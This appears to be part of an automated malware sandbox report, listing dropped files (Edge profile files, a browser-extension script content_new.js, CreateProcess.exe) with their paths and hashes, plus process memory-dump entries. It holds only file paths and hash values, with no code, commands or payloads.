Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 b3f06e172789943c384c60c133645e46c0e972173574fca36526960ea3f8b38b
MD5 4ce0d38f092a0515fb9cb9949a371068
SHA1 49255cc517eb572ff12ab2ead048f28aa7a04be3
SHA512 dd0e9cd3a44882077e3834792916e6707e68b3d79449ae18588f035f23a561390bb72f3f89644423b8fd78a38e326da315fc58e07ce27bdbaf9e212ace1c597f
SSDEEP 768:UQYi337pLuL78NWgv7fxJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVDpNKcros:UQYi3xE78NWgv7fxJu1jaCfKHs
TLSH
T17AC2EB7B740CCF7E5F800A9D98197E9F6DA802CB56D8CD8047FE991C02C6BFA91164DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2b2769f7-916a-4b35-92eb-06754aeb5896.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\2b2769f7-916a-4b35-92eb-06754aeb5896.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 fa755f151e43d2f7d2ab0062abfdf50e897ca77cf744eff9055849bfa19a1693
MD5 6f27ecd3deb36a9f35977d255a66d396
SHA1 3fbcf2daf5758021ae1187b5a850d2178c0cbff7
SHA512 3e7117590534ec357f85b2de85c880277f810c353680eb02ee69016a2abf241ad4903368a794c9fed4fb1ce14901476eb3e96329a05292333e2a662f6dec3f12
SSDEEP 768:jrv+4UNbd13H9TslYy+a47Hucys6BRvi82oP4/z6himo6TPi9Pt:jbsbf3dPad3imOz6ImosPK
TLSH
T15213BE30F4689D73DCB7D289B1477A937FE4226394C85D94EAD99B0D02C769E131B823
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 8d779a9a347fb4b7d818f7287cfc27c48e2cb6653a9a1ff8e427c10af48aff8a
MD5 e54f5299c4a3d93c4f853625bf157475
SHA1 d6084236fed372b996cf83e7f64c52606e65052e
SHA512 285e919f70a192bc3c48b22354e2224af6e482a21ecf9e2e6596e00794badfc1615044759e87cb0565003e86bdd9d0d719ad94eb745a53d0920946f729c05028
SSDEEP 768:xGrv+4UNbdS3tdnlYy+i7Hucys6BRvi82oP4/z6himo+e2bwn+h:xGbsbw3tQX3imOz6Imo10w+
TLSH
T16F03CF36F4188973ECEB8288B5467A533FF4526345C91AC0D6DE6B0D529B95E130BC63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 109408bd30abb96dc54a133dd0f93db75530f42288fb7ead9f07075991551d24
MD5 c755418808533bb3b7e4fa7a81e14fe3
SHA1 c80588b13edbf286048160857ec1c2048ea05db2
SHA512 cb6f725a089af9e865bbbb86a24d40fb6a255807a07903a312660f76ae48f0ca353ea6e7779291671c54d342fc68fa5b5864d0a83ac25bbf9fdbbd7841ee1815
SSDEEP 768:Zy3s9TslYy+a47Hucys6BRvi82oP4/z6himo6TPi9PE:Zy36Pad3imOz6ImosPX
TLSH
T1D5F2BF30F8558D73DCABD689A1463B936EE42273A4C85D84EAEDDB0D11C765E071B823
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 44KB
SHA256 56d8f74f395d89f401abbb45f13ea1f1f2f3708d1d8321a7b01b9fe48cfc9d43
MD5 dd5b43c84f5844d38a38a85d64bf644e
SHA1 3f817621afaf640f8f71475d056f3bd7df644869
SHA512 5c625abd770fbd74b8590922d2682336ad9ca421b4075564bed9b239e9d294bc695ce852aa8bd3c1f029a90dca246c2ba46854152c6c38b96944e4228699e337
SSDEEP 768:NFQI32wgl9UxSaau7Hucys6BRvi82oP4/z6himo6TPi9PE:cI3wGar3imOz6ImosPX
TLSH
T173133AF194D78936ECAE8787937D6E429AFCD163B5889884B7D95E0CCC8257FC30A811
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 82f40399606074852932d650c6b553f6109984f013b03fd005591e502b25ea0d
MD5 a1030cca08a5cdb488f45db785025362
SHA1 24d0cd504e1fe3272e7ffc840da34b28a384ec53
SHA512 612d34d1d18dafe7825850c53339c6e4e504b594843efbc66b571641383544445b2878dbccfe5cadf121b3bd48a1f2623f91d62c16c8fd10fc0af4c4a01cf897
SSDEEP 768:Trv+4UNbd13R9YslYy+aZ7Hucys6BRvi82oP4/z6himo6T2bwn+7:Tbsbf3bOaI3imOz6Imos0wM
TLSH
T19313BF31F4589D72ECABD188B1467A937FF4227344C94D84EADA5B4D018BA5E231FC23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 464ab697149ec5006c8f53b3e457f5f01fbd96d1dd7910ab4cf473af48869f4f
MD5 523e60af21b96a126fc5f2e6deab32f5
SHA1 8f2a89dffd6234de2dade629e761b65c9b20e8ae
SHA512 d7d0f89f5695b8befdfe395c05f32d4b51e38e41fa45f8bc69db1a803d56b26b973c8d7179ef04e737f603250e0b05aca5ca05cde9a91ed9c741017dde141682
SSDEEP 768:+rv+4UNbdS3y2lYy+aH7Hucys6BRvi82oP4/z6himofT2bwn+h:+bsbw3OaG3imOz6Imor0w+
TLSH
T16F03AE31F4189D73EDEB8289B1467A937FF4227348C95D80EADA5B4D0187A5E231F863
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

7d499cfd-cd82-45ae-9fcc-d894f37aba22.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\7d499cfd-cd82-45ae-9fcc-d894f37aba22.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1200_104787693\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 02c682789593e071a72f5a68145537234890bcef616c9e13d324f593198044fb
MD5 7319f363cc93e380f9fecf9cd9d2f10d
SHA1 045a121b5d850367c7b80cdb1a2d14593e6db9b4
SHA512 99230a2af09167e8938dd2a4d88a1081b8995df681f959d7233b6e75e65ff778ef095685377035f00df26b641e9f816439aaedf805960de2c60af42a75054a0a
TLSH
T16271239357B8C5F3C1DA5FF102835208F6FB22780B2370340B915586AB30A7A24B8F08
MD5 SHA1 SHA512 TLSH

Submit Download

memory/616-485-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1072-506-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1364-63-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1936-449-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1960-198-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2056-258-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2300-425-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2616-270-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2664-151-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2948-405-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3020-333-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3196-311-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3732-429-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4136-460-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4268-465-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4348-385-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4880-489-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5324-329-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5592-348-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6032-356-0x0000000000010000-0x00000000000AB000-memory.dmp

Download